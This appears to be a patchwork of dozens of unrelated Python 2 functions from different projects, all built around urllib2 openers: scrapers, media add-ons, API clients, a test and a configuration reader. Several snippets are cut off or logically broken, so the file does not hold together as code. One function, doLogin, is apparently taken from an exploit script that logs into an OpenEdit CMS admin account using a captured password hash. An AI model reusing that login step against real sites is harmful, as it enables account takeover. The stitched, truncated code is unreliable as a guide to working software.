def get(self,url):
''' get url from web site
@param user_agent: the User-Agent segment
'''
url=url.strip()
cj = cookielib.MozillaCookieJar()
#sys.exit(0)
try:
cj.load(self.cookie_file)
except:
pass
if not self.proxy==None:
print "set proxy...",self.proxy
proxy_support = urllib2.ProxyHandler(self.proxy)
#{"http":"http://ahad-haam:3128"})
opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor(cj),
proxy_support
)
else:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders= [('User-Agent',self.user_agent),('Range',"bytes=0-%d" % self.range)]
try:
stream=opener.open(url)
return stream
except urllib2.HTTPError,e:
raise hyer.error.HTTPError("can't download URL:%s" % url)
def open(url, query_params=None, user_agent=None, post_data=None,
get_method=None, cookies=False, **kwargs):
if query_params is None:
query_params = {}
if user_agent is None:
user_agent = ua_aimable
query_params.update(kwargs)
url = prepare_url(url, query_params)
request = urllib2.Request(url, post_data)
if get_method is not None:
request.get_method = lambda: get_method
request.add_header('User-Agent', user_agent)
if cookies:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
else:
opener = urllib2.build_opener()
return opener.open(request)
def play_fourshared(url, name):
global media_id
xbmc.log("starting 4shared method with: %s and %s" % (name, url))
username = '******'
password = '******'
cookie_file = os.path.join(__profilepath__, 'pktemp.cookies')
media_file = os.path.join(__profilepath__, ("pktemp%d.mp3" % (media_id)))
cj = cookielib.LWPCookieJar()
media_id = media_id + 1
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
loginurl = 'https://www.4shared.com/login?login=%s&password=%s' % (username, password)
xbmc.log("logging in to 4shared: " + loginurl)
resp = opener.open(loginurl)
cj.save(cookie_file, ignore_discard=True)
cj.load(cookie_file, ignore_discard=True)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
usock = opener.open(url)
data = usock.read()
#media_file = usock.geturl()
usock.close()
fp = open(media_file, 'wb')
fp.write(data)
fp.close()
#play_stream(media_file, name)
print "playing stream name: " + str(name) + " url: " + str(media_file)
listitem = xbmcgui.ListItem( label = str(name), iconImage = "DefaultVideo.png", thumbnailImage = xbmc.getInfoImage( "ListItem.Thumb" ), path=media_file )
listitem.setInfo( type="Music", infoLabels={ "Title": name } )
xbmc.Player( xbmc.PLAYER_CORE_DVDPLAYER ).play( str(media_file), listitem)
def send(self, uri, data=''):
url = self.base_url + str(uri)
req = urllib2.Request(url)
# cookie enabled
if self.cookie == '':
self.cookie = cookielib.CookieJar()
cookie_handler = urllib2.HTTPCookieProcessor(self.cookie)
if self.debug:
http_handler = urllib2.HTTPHandler(debuglevel=1)
opener = urllib2.build_opener(cookie_handler, http_handler)
else:
opener = urllib2.build_opener(cookie_handler)
req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0')
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
req.add_header('Cache-Control', 'no-cache')
req.add_header('Accept', '*/*')
req.add_header('Connection', 'close')
# post data
if data:
post_data = urllib.urlencode(data)
req.add_data(post_data)
req.add_header('Content-Length', len(post_data))
try:
response = opener.open(req)
except urllib2.URLError, error:
raise FetionError(400)
exit()
def __init__(self, server_url, user_id, device_id, client_version,
proxies=None, proxy_exceptions=None,
password=None, token=None, repository="default",
ignored_prefixes=None, ignored_suffixes=None,
timeout=20, blob_timeout=None, cookie_jar=None,
upload_tmp_dir=None):
self.timeout = timeout
self.blob_timeout = blob_timeout
if ignored_prefixes is not None:
self.ignored_prefixes = ignored_prefixes
else:
self.ignored_prefixes = DEFAULT_IGNORED_PREFIXES
if ignored_suffixes is not None:
self.ignored_suffixes = ignored_suffixes
else:
self.ignored_suffixes = DEFAULT_IGNORED_SUFFIXES
self.upload_tmp_dir = (upload_tmp_dir if upload_tmp_dir is not None
else tempfile.gettempdir())
if not server_url.endswith('/'):
server_url += '/'
self.server_url = server_url
# TODO: actually use the repository info in the requests
self.repository = repository
self.user_id = user_id
self.device_id = device_id
self.client_version = client_version
self._update_auth(password=password, token=token)
self.cookie_jar = cookie_jar
cookie_processor = urllib2.HTTPCookieProcessor(
cookiejar=cookie_jar)
# Get proxy handler
proxy_handler = get_proxy_handler(proxies,
proxy_exceptions=proxy_exceptions,
url=self.server_url)
# Build URL openers
self.opener = urllib2.build_opener(cookie_processor, proxy_handler)
self.streaming_opener = urllib2.build_opener(cookie_processor,
proxy_handler,
*get_handlers())
# Set Proxy flag
self.is_proxy = False
for handler in self.opener.handlers:
if isinstance(handler, ProxyHandler):
if handler.proxies:
self.is_proxy = True
self.automation_url = server_url + 'site/automation/'
self.batch_upload_url = 'batch/upload'
self.batch_execute_url = 'batch/execute'
self.fetch_api()
def create_opener(self):
"""
creates http-link opener based on options choosen
"""
self.opener = urllib2.build_opener()
if not self.allow_redirects:
self.opener = urllib2.build_opener(BalerionRedirectHandler)
def getResponseMixedData(self, url, secureToken, dic, additionalOptions=None):
"Method sets up a REST call with mixed body data such as multipart/form-data."
# check whether proxy is given
if "proxy" in globals():
proxy_handler = urllib2.ProxyHandler(self.config.proxy)
opener = urllib2.build_opener(proxy_handler)
urllib2.install_opener(opener)
multipart = urllib2.build_opener(MultipartPostHandler.MultipartPostHandler)
urllib2.install_opener(multipart)
req = urllib2.Request(url, dic.parameters())
req.add_header('Authorization', self.config.SDK_AUTH+",oauth_token=\""+secureToken+"\"")
req.add_header('User-Agent', self.config.SDK_VERSION)
req.add_header('Accept', 'application/json')
# sets additional header fields
if additionalOptions != None:
for key in additionalOptions:
req.add_header(key, additionalOptions[key])
try:
response = urllib2.urlopen(req)
response = json.loads(response.read())
return response
except urllib2.HTTPError as e:
raise TelekomException(json.loads(e.read()))
def __init__(self, url, close=True, proxy=None, post=None, mobile=False, referer=None, cookie=None, output='', timeout='10'):
if not proxy is None:
proxy_handler = urllib2.ProxyHandler({'http':'%s' % (proxy)})
opener = urllib2.build_opener(proxy_handler, urllib2.HTTPHandler)
opener = urllib2.install_opener(opener)
if output == 'cookie' or not close == True:
import cookielib
cookie_handler = urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())
opener = urllib2.build_opener(cookie_handler, urllib2.HTTPBasicAuthHandler(), urllib2.HTTPHandler())
opener = urllib2.install_opener(opener)
if not post is None:
request = urllib2.Request(url, post)
else:
request = urllib2.Request(url,None)
if mobile == True:
request.add_header('User-Agent', 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7')
else:
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0')
if not referer is None:
request.add_header('Referer', referer)
if not cookie is None:
request.add_header('cookie', cookie)
response = urllib2.urlopen(request, timeout=int(timeout))
if output == 'cookie':
result = str(response.headers.get('Set-Cookie'))
elif output == 'geturl':
result = response.geturl()
else:
result = response.read()
if close == True:
response.close()
self.result = result
def serveFile(self, fURL, sendData, httphandler = None):
cj = cookielib.LWPCookieJar(ustvpaths.COOKIE)
if httphandler is None:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
else:
opener = urllib2.build_opener(httphandler, urllib2.HTTPCookieProcessor(cj))
request = urllib2.Request(url = fURL)
opener.addheaders = []
d = {}
sheaders = self.decodeHeaderString(''.join(self.headers.headers))
for key in sheaders:
d[key] = sheaders[key]
if (key != 'Host'):
opener.addheaders = [(key, sheaders[key])]
if (key == 'User-Agent'):
opener.addheaders = [('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0')]
if os.path.isfile(ustvpaths.COOKIE):
cj.load(ignore_discard = True)
cj.add_cookie_header(request)
response = opener.open(request, timeout = TIMEOUT)
self.send_response(200)
headers = response.info()
for key in headers:
try:
val = headers[key]
self.send_header(key, val)
except Exception, e:
print e
pass
def BuildURLOpener(server):
"""
if there should be no proxy used use an empty proxy_handler - only necessary in Windows,
where IE proxy settings are used automatically if available
In UNIX $HTTP_PROXY will be used
The MultipartPostHandler is needed for submitting multipart forms from Opsview
"""
# trying with changed digest/basic auth order as some digest auth servers do not
# seem to work wi the previous way
if str(server.use_proxy) == "False":
server.proxy_handler = urllib2.ProxyHandler({})
urlopener = urllib2.build_opener(server.digest_handler,\
server.basic_handler,\
server.proxy_handler,\
urllib2.HTTPCookieProcessor(server.Cookie),\
MultipartPostHandler)
elif str(server.use_proxy) == "True":
if str(server.use_proxy_from_os) == "True":
urlopener = urllib2.build_opener(server.digest_handler,\
server.basic_handler,\
urllib2.HTTPCookieProcessor(server.Cookie),\
MultipartPostHandler)
else:
# if proxy from OS is not used there is to add a authenticated proxy handler
server.passman.add_password(None, server.proxy_address, server.proxy_username, server.proxy_password)
server.proxy_handler = urllib2.ProxyHandler({"http": server.proxy_address, "https": server.proxy_address})
server.proxy_auth_handler = urllib2.ProxyBasicAuthHandler(server.passman)
urlopener = urllib2.build_opener(server.proxy_handler,\
server.proxy_auth_handler,\
server.digest_handler,\
server.basic_handler,\
urllib2.HTTPCookieProcessor(server.Cookie),\
MultipartPostHandler)
return urlopener
def get_html(self):
# add cookile support
cookie = cookielib.CookieJar()
cookie_handler = urllib2.HTTPCookieProcessor(cookie)
if self.agents:
agent = choice(self.agents)
else:
agent = None
# add agent support
if agent:
proxy_handler = urllib2.ProxyHandler({'http': agent})
# proxy_handler = urllib2.ProxyHandler({'https': agent})
opener = urllib2.build_opener(cookie_handler, proxy_handler)
else:
opener = urllib2.build_opener(cookie_handler)
urllib2.install_opener(opener)
try:
datas = []
for url in self.get_urls:
req = urllib2.Request(url, headers=self.header)
html = urllib2.urlopen(req, timeout=30).read()
# add chinese support
code = chardet.detect(html)['encoding']
if code in self.zh_code:
html = html.decode('GBK').encode('utf-8')
datas.append(html)
return datas
except Exception as e:
raise Exception(e)
def send(self, req):
# req is our own Request object
if HTTP_DEBUG:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar), urllib2.HTTPHandler(debuglevel=1))
elif COOKIES_ENABLED:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar))
else:
opener = urllib2.build_opener()
if req.method.upper() == 'POST':
request = urllib2.Request(req.url, req.body, req.headers)
else:
request = urllib2.Request(req.url, None, req.headers) # urllib2 assumes a GET if no data is supplied. PUT and DELETE are not supported
# timed message send+receive (TTLB)
req_start_time = self.default_timer()
try:
resp = opener.open(request) # this sends the HTTP request and returns as soon as it is done connecting and sending
connect_end_time = self.default_timer()
content = resp.read()
req_end_time = self.default_timer()
except httplib.HTTPException, e: # this can happen on an incomplete read, just catch all HTTPException
connect_end_time = self.default_timer()
resp = ErrorResponse()
resp.code = 0
resp.msg = str(e)
resp.headers = {}
content = ''
def getResult(self, ip, cookieHandle, fileID):
try:
user_agent = random.choice(self.user_agents)
proxy = urllib2.ProxyHandler({'http':''+ ip +''})
opener = urllib2.build_opener(proxy)
opener.addheaders = [
('User_agent',user_agent),
('Referer','http://www.sufile.com/down/'+fileID+'.html'),
('Host','www.sufile.com'),
('DNT','1')
]
opener = urllib2.build_opener(cookieHandle)
r = opener.open('http://www.sufile.com/dd.php?file_key='+fileID+'&p=0', timeout=10)
d = r.read()
with open('./result.html', 'wb') as f:
f.write(d)
p = re.compile('<a id="downs" href="(.*?)"', re.S)
r = re.search(p, d)
print r.group(1).strip()
except urllib2.HTTPError, e:
print 'HTTPError: ' + str(e.code)
return False
def testCreateItem(self):
""" Ensure that items can be created
"""
# first, retrieve an item template
my_opener = urllib2.build_opener(MyHTTPSHandler(self.item_templt, 200))
z.urllib2.install_opener(my_opener)
zot = z.Zotero('myuserID', 'myuserkey')
t = zot.item_template('book')
# Update the item type
t['itemType'] = 'journalArticle'
# Add keys which should be removed before the data is sent
t['key'] = 'KEYABC123'
t['etag'] = 'TAGABC123'
t['group_id'] = 'GROUPABC123'
t['updated'] = '14 March, 2011'
# new opener which will return 403
my_opener = urllib2.build_opener(MyHTTPSHandler(self.items_doc, 403))
z.urllib2.install_opener(my_opener)
with self.assertRaises(z.ze.UserNotAuthorised) as e:
_ = zot.create_items([t])
exc = str(e.exception)
# this test is a kludge; we're checking the POST data in the 403 response
self.assertIn("journalArticle", exc)
self.assertNotIn("KEYABC123", exc)
self.assertNotIn("TAGABC123", exc)
self.assertNotIn("GROUPABC123", exc)
self.assertNotIn("updated", exc)
def __init__ (self, base, params, user=None, password=None):
self.base = base
if self.base[-1] not in "?&":
if "?" in self.base:
self.base += "&"
else:
self.base += "?"
self.params = {}
if user is not None and password is not None:
x = urllib2.HTTPPasswordMgrWithDefaultRealm()
x.add_password(None, base, user, password)
self.client = urllib2.build_opener()
auth = urllib2.HTTPBasicAuthHandler(x)
self.client = urllib2.build_opener(auth)
else:
self.client = urllib2.build_opener()
for key, val in self.defaultParams.items():
if self.base.lower().rfind("%s=" % key.lower()) == -1:
self.params[key] = val
for key in self.fields:
if params.has_key(key):
self.params[key] = params[key]
elif self.base.lower().rfind("%s=" % key.lower()) == -1:
self.params[key] = ""
def __checkAndSetUrlLib(self):
'''
Private member function called for Analyzing and setting Proxy settings for the urllib2.
This helps in accessing and downloading the contenst from the web for later processing and
parsing of the contents.
'''
__proxy = None
__auth = None
__opener = None
if ( self.__checkKey('_proxy')):
__proxy = urllib2.ProxyHandler({'http':self.__dict__['_proxy'], 'https':self.__dict__['_proxy']})
__opener = urllib2.build_opener(__proxy)
if ( self.__checkKey('_username') and self.__checkKey('_password')):
passManager = urllib2.HTTPPasswordMgrWithDefaultRealm()
if ( self.__checkKey('_auth_base')):
passManager.add_password(None, self.__dict__['_auth_base'], self.__dict__['_username'], self.__dict__['_password'])
else:
passManager.add_password(None, self.__dict__['_url'], self.__dict__['_username'], self.__dict__['_password'])
__auth = urllib2.HTTPBasicAuthHandler(passManager)
__opener = urllib2.build_opener(__auth)
if ( __opener != None ):
urllib2.install_opener(__opener)
def get_urllib_object(uri, timeout, headers=None, verify_ssl=True, data=None):
"""Return a urllib2 object for `uri` and `timeout` and `headers`.
This is better than using urlib2 directly, for it handles SSL verifcation, makes
sure URI is utf8, and is shorter and easier to use. Modules may use this
if they need a urllib2 object to execute .read() on.
For more information, refer to the urllib2 documentation.
"""
uri = quote_query(uri)
original_headers = {'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Willie)'}
if headers is not None:
original_headers.update(headers)
else:
headers = original_headers
if verify_ssl:
opener = urllib2.build_opener(VerifiedHTTPSHandler)
else:
opener = urllib2.build_opener()
req = urllib2.Request(uri, headers=headers, data=data)
try:
u = opener.open(req, None, timeout)
except urllib2.HTTPError as e:
# Even when there's an error (say HTTP 404), return page contents
return e.fp
return u
def __init__(self, username, password):
self.username = username
self.password = password
self.pcid = ""
cj = cookielib.CookieJar()
cookie_support = urllib2.HTTPCookieProcessor(cj)
# 添加代理ip
proxy_enabled = 0
self.iplist = []
try:
cur_dir = os.path.dirname(os.path.realpath(__file__))
for line in open(os.path.join(cur_dir, r'f:/getip.ip'), 'r'):
self.iplist += [line.strip()]
except IOError:
print "IOError in sethp opening getip.ip"
pass
if len(self.iplist) and proxy_enabled:
ip = random.choice(self.iplist)
print ip, type(ip)
proxy_support = urllib2.ProxyHandler({'http':'http://'+ip})
# self.opener = urllib2.build_opener( proxy_support, cookie_support, urllib2.HTTPHandler)
self.opener = urllib2.build_opener( proxy_support, cookie_support, urllib2.HTTPHandler )
# self.opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
# self.opener = urllib2.build_opener(proxy)
else:
self.opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(self.opener)
def getContent(target_url, cert_path, key_path, post_data=None, debug=False, adfslogin=None):
opener = urllib2.build_opener(urllib2.HTTPSHandler())
if adfslogin:
opener.addheaders = [('Adfs-Login', adfslogin)] #local version of tc test
#try to access the url first
try:
content = getResponseContent(opener, target_url, post_data, debug)
if not 'Sign in with your CERN account' in content:
return content
except Exception:
if debug:
sys.stderr.write("The request has an error, will try to create a new cookie\n")
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie), HTTPSClientAuthHandler(key_path, cert_path)) #will use private key and ceritifcate
if debug:
sys.stderr.write("The return page is sso login page, will request cookie.")
hasCookie = False
# if the access gave an exception, try to get a cookie
try:
getSSOCookie(opener, target_url, cookie, debug)
hasCookie = True
result = getResponseContent(opener, target_url, post_data, debug)
except Exception as e:
result = ""
print(sys.stderr.write("ERROR:"+str(e)))
if hasCookie:
burl = getParentURL(target_url)
try:
_getResponse(opener, burl+"signOut").read()
_getResponse(opener, "https://login.cern.ch/adfs/ls/?wa=wsignout1.0").read()
except:
sys.stderr.write("Error, could not logout correctly from server")
return result
def _request(self, url, data=None, method=None):
"""Send an HTTP request to the remote server.
Args:
method - A string for the HTTP method to send the request with.
url - The URL to send the request to.
body - The message body to send.
Returns:
A dictionary with the server's parsed JSON response.
"""
LOGGER.debug('%s %s %s' % (method, url, data))
parsed_url = urlparse.urlparse(url)
auth = None
password_manager = None
if parsed_url.username:
netloc = parsed_url.hostname
if parsed_url.port:
netloc += ":%s" % parsed_url.port
cleaned_url = urlparse.urlunparse((parsed_url.scheme, netloc, parsed_url.path,
parsed_url.params, parsed_url.query, parsed_url.fragment))
password_manager = urllib2.HTTPPasswordMgrWithDefaultRealm()
password_manager.add_password(None, "%s://%s" % (parsed_url.scheme, netloc), parsed_url.username, parsed_url.password)
request = Request(cleaned_url, data=data, method=method)
else:
request = Request(url, data=data, method=method)
request.add_header('Accept', 'application/json')
if password_manager:
opener = urllib2.build_opener(urllib2.HTTPRedirectHandler(),
HttpErrorHandler(),
urllib2.HTTPBasicAuthHandler(password_manager))
else:
opener = urllib2.build_opener(urllib2.HTTPRedirectHandler(),
HttpErrorHandler())
response = opener.open(request)
try:
if response.code > 399 and response.code < 500:
return {'status': response.code, 'value': response.read()}
body = response.read().replace('\x00', '').strip()
content_type = response.info().getheader('Content-Type') or []
if 'application/json' in content_type:
data = utils.load_json(body.strip())
assert type(data) is dict, (
'Invalid server response body: %s' % body)
assert 'status' in data, (
'Invalid server response; no status: %s' % body)
# Some of the drivers incorrectly return a response
# with no 'value' field when they should return null.
if 'value' not in data:
data['value'] = None
return data
elif 'image/png' in content_type:
data = {'status': 0, 'value': body.strip()}
return data
finally:
response.close()
def http_send(url, body="", exheaders="", method=False, proxy_info=False):
headers = {
"Connection": "Keep-Alive",
"Cache-Control": "no-cache"
}
headers.update(exheaders)
if not proxy_info:
proxy_info = get_proxy_info()
if proxy_info:
proxy_support = urllib2.ProxyHandler(
{"http":"http://%(user)s:%(pass)s@%(host)s:%(port)d" % proxy_info})
opener = urllib2.build_opener(proxy_support)
else:
opener = urllib2.build_opener()
urllib2.install_opener(opener)
if(body == None or len(body.strip()) == 0):
request = urllib2.Request(url, headers=headers)
else:
request = urllib2.Request(url, headers=headers, data=body)
try:
conn = urllib2.urlopen(request)
except Exception, e:
print "[Error] Failed while http send.", e
print "Retry......"
try:
conn = urllib2.urlopen(request)
except Exception, e:
print "[Error] Retry failed while http send.", e
return None
def notify(field, args) :
if peer == '':
return
#args['token'] = token
if debug :
log = open('/tmp/ticket_listener', 'a')
log.writelines('in \n')
if not functions.has_key(field) :
return
url = peer + functions[field]
postData=json.dumps(args)
if use_htaccess :
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, url, htaccess['login'], htaccess['pwd'])
authhandler = urllib2.HTTPBasicAuthHandler(passman)
opener = urllib2.build_opener(authhandler)
else :
opener = urllib2.build_opener()
req = urllib2.Request(url, postData, {'Content-Type': 'application/json'})
urllib2.install_opener(opener)
res = urllib2.urlopen(req)
if debug :
log.writelines('url : %s\nPOST data : %s\nresponse : %s\ninfo : %s'%(url, str(args), res.read(), res.info()))
log.writelines('out \n')
log.close()
def refresh_feed(self, rssurl):
"""
Parses through the content of rss feed, using a proxy, if configured,
uses cache for the feed content if memcached is in use.
:param str rssurl: URL to RSS Feed
:returns: List of RSS entries
"""
headers = []
opener = urllib2.build_opener()
proxy = self.http_proxy
# If proxy set, add custom handlers
if proxy:
urlinfo = urlparse(proxy)
proxyhandler = urllib2.ProxyHandler({urlinfo.scheme : proxy})
opener = urllib2.build_opener(proxyhandler, urllib2.HTTPHandler, urllib2.HTTPSHandler)
# TODO: Use feedparser
xml = minidom.parse(opener.open(rssurl))
if xml:
root = xml.documentElement
for node in root.childNodes:
if node.nodeName == "item":
headers.append(self.get_header(node))
if node.nodeName == "channel":
for channel_child in node.childNodes:
if channel_child.nodeName == "item":
headers.append(self.get_header(channel_child))
return headers
def getOpener(self):
#return the opener
cj=cookielib.CookieJar()
if self.__proxy is not None:
return urllib2.build_opener(urllib2.ProxyHandler({"http":self.__proxy}),urllib2.HTTPCookieProcessor(cj))
else:
return urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
def doLogin(adminHash):
sys.stdout.write("(+) Logging into CMS.. ")
sys.stdout.flush
adminIndex = "http://" + options.target + options.dirPath + "openedit/authentication/logon.html"
values = {'loginokpage' : '', 'accountname' : 'admin', 'password' : adminHash, 'submit' : 'Login'}
data = urllib.urlencode(values)
cj = CookieJar()
if options.proxy:
try:
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent', agent)]
check = opener.open(adminIndex, data).read()
except:
print "\n(-) Proxy connection failed to remote target"
sys.exit(1)
else:
try:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
check = opener.open(adminIndex, data).read()
except:
print "(-) Target connection failed, check your address"
sys.exit(1)
if not re.search("Please enter your password", check):
sys.stdout.write("logged in successfully\n")
sys.stdout.flush()
return cj
else:
sys.stdout.write("Login Failed! Exiting..\n")
sys.stdout.flush()
sys.exit(1)
def call_service(self):
"""调用远程服务"""
try:
encode_data = None
if self.params is not None:
if self.method == 'GET':
self.url += '?' + urlencode(self.params)
log_debug(self.url)
elif self.method == 'POST':
encode_data = urlencode(self.params)
opener = urllib2.build_opener()
opener.addheaders = self.headers
if self.cookie_jar is not None:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar))
res_obj = opener.open(self.url, data=encode_data, timeout=self.timeout)
self.set_cookie = res_obj.info().getheader('Set-Cookie')
self.res = res_obj.read()
# encoding
self.encoding = guess_json_utf(self.res)
if self.encoding:
self.res = self.res.decode(self.encoding)
self.json = json.loads(self.res)
self.ret = self.json.get('ret')
self.msg = self.json.get('msg')
self.data = self.json.get('data')
except Exception, e:
#log_error('[JSONService] url:%s, response:%s, expetion:%s' % (self.url, self.res, e))
return False
def continuity(url):
import md5
format = '%25s: %s'
# first fetch the file with the normal http handler
opener = urllib2.build_opener()
urllib2.install_opener(opener)
fo = urllib2.urlopen(url)
foo = fo.read()
fo.close()
m = md5.new(foo)
print format % ('normal urllib', m.hexdigest())
# now install the keepalive handler and try again
opener = urllib2.build_opener(HTTPHandler())
urllib2.install_opener(opener)
fo = urllib2.urlopen(url)
foo = fo.read()
fo.close()
m = md5.new(foo)
print format % ('keepalive read', m.hexdigest())
fo = urllib2.urlopen(url)
foo = ''
while 1:
f = fo.readline()
if f: foo = foo + f
else: break
fo.close()
m = md5.new(foo)
print format % ('keepalive readline', m.hexdigest())
def send_web_socket(Cookie_Jar,url_to_call):
try:
import urllib2
import base64
import uuid
req = urllib2.Request(url_to_call)
str_guid=str(uuid.uuid1()).upper()
str_guid=base64.b64encode(str_guid)
req.add_header('Connection', 'Upgrade')
req.add_header('Upgrade', 'websocket')
req.add_header('Sec-WebSocket-Key', str_guid)
req.add_header('Origin','http://www.streamafrik.com')
req.add_header('Pragma','no-cache')
req.add_header('Cache-Control','no-cache')
req.add_header('Sec-WebSocket-Version', '13')
req.add_header('Sec-WebSocket-Extensions', 'permessage-deflate; client_max_window_bits, x-webkit-deflate-frame')
req.add_header('User-Agent','Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53')
cookie_handler = urllib2.HTTPCookieProcessor(Cookie_Jar)
opener = urllib2.build_opener(cookie_handler, urllib2.HTTPBasicAuthHandler(), urllib2.HTTPHandler())
opener = urllib2.install_opener(opener)
from keepalive import HTTPHandler
keepalive_handler = HTTPHandler()
opener = urllib2.build_opener(keepalive_handler)
urllib2.install_opener(opener)
urllib2.urlopen(req)
response.close()
return ''
except: traceback.print_exc(file=sys.stdout)
return ''
def loadUrl(url, profiler, enable_proxy = False):
loadtime = 0
try:
begin = time.time()
req = urllib2.Request(url)
req.add_header("User-Agent", "Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36")
req.add_header("Accept-Encoding", "gzip,deflate,sdch")
req.add_header("Accept", "*/*")
req.add_header("Cache-Control", "no-cache")
if enable_proxy:
print "USE Turbo Proxy!!!"
proxy_handler = urllib2.ProxyHandler({"http": turbo_local_proxy})
opener = urllib2.build_opener(proxy_handler)
else:
opener = urllib2.build_opener()
resp = opener.open(req, timeout = 1000000)
cntype = resp.headers.getheader("content-type")
print "content-type", cntype
print "status code", resp.getcode()
# print "headers", resp.headers
size = len(resp.read())
loadtime = time.time() - begin
print "page size", size
print "loadtime is ", loadtime
profiler.addSize(size)
profiler.addRescources(url, resp.getcode() ,cntype, int(loadtime * 1000))
return loadtime
except ValueError:
pass
finally:
opener.close()
def get_urlopen():
proxy_type = get_prefs('proxy_type');
if proxy_type == 'http':
scheme = 'http'
host = str(get_prefs('proxy_host'))
port = str(get_prefs('proxy_port'))
url = scheme + '://' + host + ':' + port
if get_prefs('proxy_auth'):
proxy_support = urllib2.ProxyHandler({ 'http': url, 'https': url })
username = str(get_prefs('proxy_auth_name'))
password = str(get_prefs('proxy_auth_password'))
auth_handler = urllib2.ProxyBasicAuthHandler()
auth_handler.add_password(None, url, username, password)
return urllib2.build_opener(proxy_support, auth_handler).open
else:
proxy_support = urllib2.ProxyHandler({ 'http': url, 'https': url })
return urllib2.build_opener(proxy_support).open
elif proxy_type == 'system':
if 'http_proxy' in os.environ and os.environ["http_proxy"]:
url = os.environ["http_proxy"]
elif 'HTTP_PROXY' in os.environ and os.environ["HTTP_PROXY"]:
url = os.environ["HTTP_PROXY"]
else:
url = None
if not url:
return urllib2.urlopen
else:
proxy_support = urllib2.ProxyHandler({ 'http': url, 'https': url })
return urllib2.build_opener(proxy_support).open
else:
return urllib2.urlopen
def __init__(self):
opener = urllib2.build_opener()
# Set User-Agent
opener.addheaders = [('User-Agent', self.__USERAGENT)]
urllib2.install_opener(opener)
def read_config(config_file):
global config
if not os.path.isfile(config_file):
exit("[!] missing configuration file '%s'" % config_file)
else:
print "[i] using configuration file '%s'" % config_file
config.clear()
try:
array = None
content = open(config_file, "rb").read()
for line in content.split("\n"):
line = line.strip('\r')
line = re.sub(r"\s*#.*", "", line)
if not line.strip():
continue
if line.count(' ') == 0:
if re.search(r"[^\w]", line):
if array == "USERS":
exit(
"[!] invalid USERS entry '%s'\n[?] (hint: add whitespace at start of line)"
% line)
else:
exit("[!] invalid configuration (line: '%s')" % line)
array = line.upper()
config[array] = []
continue
if array and line.startswith(' '):
config[array].append(line.strip())
continue
else:
array = None
try:
name, value = line.strip().split(' ', 1)
except ValueError:
name = line
value = ""
finally:
name = name.strip().upper()
value = value.strip("'\"").strip()
_ = os.environ.get("%s_%s" % (NAME.upper(), name))
if _:
value = _
if any(
name.startswith(_)
for _ in ("USE_", "SET_", "CHECK_", "ENABLE_", "SHOW_",
"DISABLE_")):
value = value.lower() in ("1", "true")
elif value.isdigit():
value = int(value)
else:
for match in re.finditer(r"\$([A-Z0-9_]+)", value):
if match.group(1) in globals():
value = value.replace(match.group(0),
str(globals()[match.group(1)]))
else:
value = value.replace(
match.group(0),
os.environ.get(match.group(1), match.group(0)))
if name.endswith("_DIR"):
value = os.path.realpath(
os.path.join(ROOT_DIR, os.path.expanduser(value)))
config[name] = value
except (IOError, OSError):
pass
for option in ("MONITOR_INTERFACE", "CAPTURE_BUFFER", "LOG_DIR"):
if not option in config:
exit("[!] missing mandatory option '%s' in configuration file '%s'"
% (option, config_file))
for entry in (config.USERS or []):
if len(entry.split(':')) != 4:
exit("[!] invalid USERS entry '%s'" % entry)
if re.search(r"\$\d+\$", entry):
exit(
"[!] invalid USERS entry '%s'\n[?] (hint: please update PBKDF2 hashes to SHA256 in your configuration file)"
% entry)
if config.SSL_PEM:
config.SSL_PEM = config.SSL_PEM.replace('/', os.sep)
if config.USER_WHITELIST:
if ',' in config.USER_WHITELIST:
print(
"[x] configuration value 'USER_WHITELIST' has been changed. Please use it to set location of whitelist file"
)
elif not os.path.isfile(config.USER_WHITELIST):
exit("[!] missing 'USER_WHITELIST' file '%s'" %
config.USER_WHITELIST)
else:
read_whitelist()
if config.USER_IGNORELIST:
if not os.path.isfile(config.USER_IGNORELIST):
exit("[!] missing 'USER_IGNORELIST' file '%s'" %
config.USER_IGNORELIST)
else:
read_ignorelist()
config.PROCESS_COUNT = int(config.PROCESS_COUNT or CPU_CORES)
if config.USE_MULTIPROCESSING:
print(
"[x] configuration switch 'USE_MULTIPROCESSING' is deprecated. Please use 'PROCESS_COUNT' instead"
)
if config.DISABLE_LOCAL_LOG_STORAGE and not any(
(config.LOG_SERVER, config.SYSLOG_SERVER)):
print(
"[x] configuration switch 'DISABLE_LOCAL_LOG_STORAGE' turned on and neither option 'LOG_SERVER' nor 'SYSLOG_SERVER' are set. Falling back to console output of event data"
)
